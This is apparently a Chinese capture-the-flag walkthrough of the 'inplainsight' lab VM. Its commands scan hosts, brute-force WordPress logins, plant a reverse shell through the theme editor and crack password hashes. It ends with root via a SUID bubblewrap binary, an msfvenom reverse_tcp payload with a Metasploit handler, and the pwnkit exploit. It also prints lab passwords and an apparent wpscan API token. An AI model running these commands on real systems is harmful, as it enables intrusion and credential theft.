攻击者IP:192.168.56.141 桥接(自动) vmare
受害者IP:192.168.56.142 仅主机 vmbox
参考:https://blog.csdn.net/weixin_54430466/article/details/121678118
https://mp.weixin.qq.com/s/BfBWcjDixhAmbun6wneXpw
https://www.cnblogs.com/jason-huawen/p/17322729.html
主机发现
arp-scan -I eth1 -l
端口扫描
nmap -p- -sV 192.168.56.142
查看ftp文件
迈克-请得到骑那个毫无价值的wordpress实例!这是安全隐患。如果您有特权问题,请向joe寻求帮助。joe-停止在系统上留下后门程序,否则您的访问权限将被删除!你的rabiit漏洞是不够的,这些精英网络黑客类型。-老板
web页面
目录扫描1
dirb http://192.168.56.142 -X .txt,.php,.zip
目录扫描2
可以看出是wpcms
dirsearch -u http://192.168.56.142
目录扫描3
gobuster dir -u http://192.168.56.142/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
目录扫描4:
feroxbuster -u http://192.168.56.142/
info.php
wpscan扫描
wpscan --url http://192.168.56.142/wordpress/ --api-token SRhGO29F6HA9ctoX0TSSY5gm0U3PZENJPPWvlqBkSPk
得到一个用户名 bossperson
爆破一下密码
wpscan --url http://192.168.56.142/wordpress/ -U bossperson -P /root/top1000.txt
没出货
更详细的目录扫描
gobuster dir -u http://192.168.56.142 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,js,php.bak,html.bak,json,git,git.bak,zip,zip.bak,htnl --exclude-length 0--exclude-length 0 意味着你想要排除所有响应长度为0的页面。
访问http://192.168.56.142/index.htnl
点击图片后发现可以上传图片
gif89a
没有文件路径,也没找到
源代码中有base64解密
c28tZGV2LXdvcmRwcmVzcw==
so-dev-wordpress
另一个wp的路径
/etc/hosts,修改hosts文件
接着用wpscan扫一下
wpscan --url http://192.168.56.142/so-dev-wordpress/ -e u,p
找到用户
admin
mike
爆破密码
wpscan --url http://192.168.56.142/so-dev-wordpress/ -U use.txt -P /root/top1000.txt
得到密码
admin / admin1
或者换个小的密码本速度更快一点
wpscan --url http://192.168.56.142/so-dev-wordpress/ -U use.txt -P /usr/share/wordlists/dirb/common.txt
登录网站
http://inplainsight/so-dev-wordpress/wp-admin/
找到主题编辑,编辑代码
编辑的主题是twentytwenty
所以路径是
http://inplainsight/so-dev-wordpress/wp-content/themes/twentytwenty/404.php
反弹shell
home有两个用户
查看配置文件发现数据库的用户密码
数据库名:sodevwp
用户名:sodevwp
密码:oZ2R3c2x7dLL6#hJ
登录mysql
python3 -c "import pty; pty.spawn('/bin/bash')"
mysql -u sodevwp -poZ2R3c2x7dLL6
获得admin和mike的哈希
爆破哈希
john hash.txt -wordlist=/usr/share/wordlists/rockyou.txt
john hash.txt --show --format=phpass
admin/admin1
mike/skuxdelux
切换用户mike
cat /etc/passwd-
/etc/passwd-是/etc/passwd的备份
/etc/passwd: 用户账户的详细信息在此文件中更新。用户名:密码:用户 ID:群组 ID:用户 ID 信息:用户的家目录: Shell/etc/shadow: 用户账户密码在此文件中更新。/etc/group: 新用户群组的详细信息在此文件中更新。/etc/gshadow: 新用户群组密码在此文件中更新。
获得joe的密码
joe/SmashMouthNoThanks
切换到joe
查看suid权限
find / -user root -perm -4000 -print 2>/dev/null
Bubblewrap 是一个为 Linux 系统设计的沙箱工具,它可以用来在一个隔离的环境中运行应用程序,从而提高安全性。这对于阻止潜在的安全漏洞扩散到系统的其他部分特别有用。
执行bwarp,获得root
方法2:
msf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.141 LPORT=2222 -f elf -o msf.elf-p linux/x86/meterpreter/reverse_tcp: 指定要创建的 payload 类型。LHOST=192.168.56.141: 设置监听主机的 IP 地址,即攻击者控制的机器,有效载荷将发送连接到这个地址。LPORT=2222: 设置监听端口,有效载荷将尝试通过这个端口连接到 LHOST。-f elf: 指定输出格式为 ELF (Executable and Linkable Format),这是 Linux 下的常见可执行文件格式。-o msf.elf: 指定输出文件的名称。
msf监听2222端口
msfconsoleuse exploit/multi/handlerset payload linux/x86/meterpreter/reverse_tcpset LHOST 192.168.56.141set LPORT 2222exploit
靶机下载并运行
使用linux提权工具suggester
使用bg或ctrl+z将会话放到后台
use post/multi/recon/local_exploit_suggester
set session 1
run
有一些漏洞可以利用
#NamePotentially Vulnerable?Check Result ---------------------------------------- 1exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexecYesThe target is vulnerable. 2exploit/linux/local/netfilter_priv_esc_ipv4YesThe target appears to be vulnerable. 3exploit/linux/local/pkexecYesThe service is running, but could not be validated. 4exploit/linux/local/su_loginYesThe target appears to be vulnerable. 5exploit/linux/local/sudoedit_bypass_priv_escYesThe target appears to be vulnerable. Sudo 1.8.27.pre.1ubuntu4 is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module
使用use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
获得root
原文始发于微信公众号(王之暴龙战神):inplainsight
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论